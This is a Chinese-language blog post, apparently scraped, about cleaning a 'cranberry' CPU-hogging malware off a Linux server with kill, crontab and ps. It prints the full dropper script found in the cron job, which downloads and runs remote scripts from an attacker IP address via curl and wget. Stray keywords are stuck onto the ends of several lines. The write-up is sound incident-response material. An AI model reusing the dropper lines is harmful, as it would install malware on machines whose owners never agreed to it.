記錄徒手解決cranberry病毒的過程

起始

今天中午測試反饋說線上系統頻繁的報502錯誤,而且響應極慢。
開始懷疑是公司哪位小哥在下載小電影,但打開其餘網站都很快。因而繼續懷疑難道是業務激增致使帶寬被佔滿了,因而登陸監控界面,顯示只用了80Mb,帶寬也沒佔滿。bash

發現根本緣由

ssh上服務器以後,本能的執行top命令,返現cranberry進程幾乎把cpu吃滿了。
記錄徒手解決cranberry病毒的過程服務器

因而嘗試kill掉進程ssh

kill -9 14465

kill掉以後,cranberry又會當即自動重啓。
在緊盯屏幕以後,驚喜的發現crontab進程。因而大喜過望,這哥們會啊。crontab命令教程
因而查看crontab的列表curl

crontab -l

看到以下命令,會經過定時任務去遠程服務器下載腳本。
記錄徒手解決cranberry病毒的過程
因而把crontab的列表刪掉ide

crontab -r

而後,覺得kill掉cranberry以後,就ok了,誰知道仍是自動重啓。
那隻能耐着性子,把腳本下載下來研究一下了,腳本內容以下:測試

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

pkill -f jIuc2ggfCAvYmluL2Jhc2gi
pkill -f lowerv2.sh
pkill -f rootv2.sh
pkill -f sourplum
pkill -f nativesvc

ps aux | awk '{if($3>20.0) print $2}' | while read procid
do
kill -9 $procid
done

whoami=$( whoami )
if [ ${whoami}x != "root"x ];then
    curl http://172.96.252.86/lowerv3.sh > /tmp/lower.sh
    if [ ! -f "/tmp/lower.sh" ] ;then
        wget -P /tmp/ http://172.96.252.86/lowerv3.sh
        rm /tmp/lower.sh.*
    fi
    chmod 777 /tmp/lower.sh
    bash /tmp/lower.sh
else
    curl http://172.96.252.86/rootv3.sh > /etc/root.sh
    if [ ! -f "/etc/root.sh" ] ;then
        wget -O /etc/root.sh http://172.96.252.86/rootv3.sh
    fi
    chmod 777 /etc/root.sh
    bash /etc/root.sh
fi
echo "over"

這腳本倒也簡單,主要是下載另一個腳本,到/etc/目錄中,名字是root.sh.
因而查看是哪一個進程執行了腳本:網站

root@SSP001:[/proc]ps -ef|grep root.sh
root      1541 28244  0 16:19 pts/1    00:00:00 grep root.sh
root      2036  1653  0 11:00 ?        00:00:57 bash /etc/root.sh
root      2080  1544  0 06:00 ?        00:01:21 bash /etc/root.sh
root      6035  5979  0 Jan15 ?        00:13:01 bash /etc/root.sh
root      8659  8156  0 05:00 ?        00:01:24 bash /etc/root.sh
root      9649  9627  0 Jan15 ?        00:07:03 bash /etc/root.sh
root      9979  9731  0 02:00 ?        00:03:12 bash /etc/root.sh
root     11925 11497  0 14:00 ?        00:00:16 bash /etc/root.sh
root     14874 14437  0 Jan15 ?        00:08:55 bash /etc/root.sh
root     14931 14794  0 Jan15 ?        00:12:22 bash /etc/root.sh
root     14935 13330  0 15:00 ?        00:00:00 bash /etc/root.sh
root     15050 14391  0 12:00 ?        00:00:32 bash /etc/root.sh
root     15596 15349  0 Jan15 ?        00:03:46 bash /etc/root.sh

把上邊的進程kill掉:url

kill -9 2036 2080 6035 8659 9649 9979 11925 14874 14931 14935 15050 15596 16459 17199 19983 20478 20795 21609 21810 23402 24943 25513 27988 28883 29853 31304 31499 32364

而後再kill掉cranberry:code

killall -9 cranberry

因而cpu恢復到了正常水平。blog

cranberry病毒的原理

  1. 經過定時去遠程下載腳本
  2. 經過腳本,執行守護任務,
  3. 發現cranberry被kill以後,當即經過crontab啓動。
相關文章
相關標籤/搜索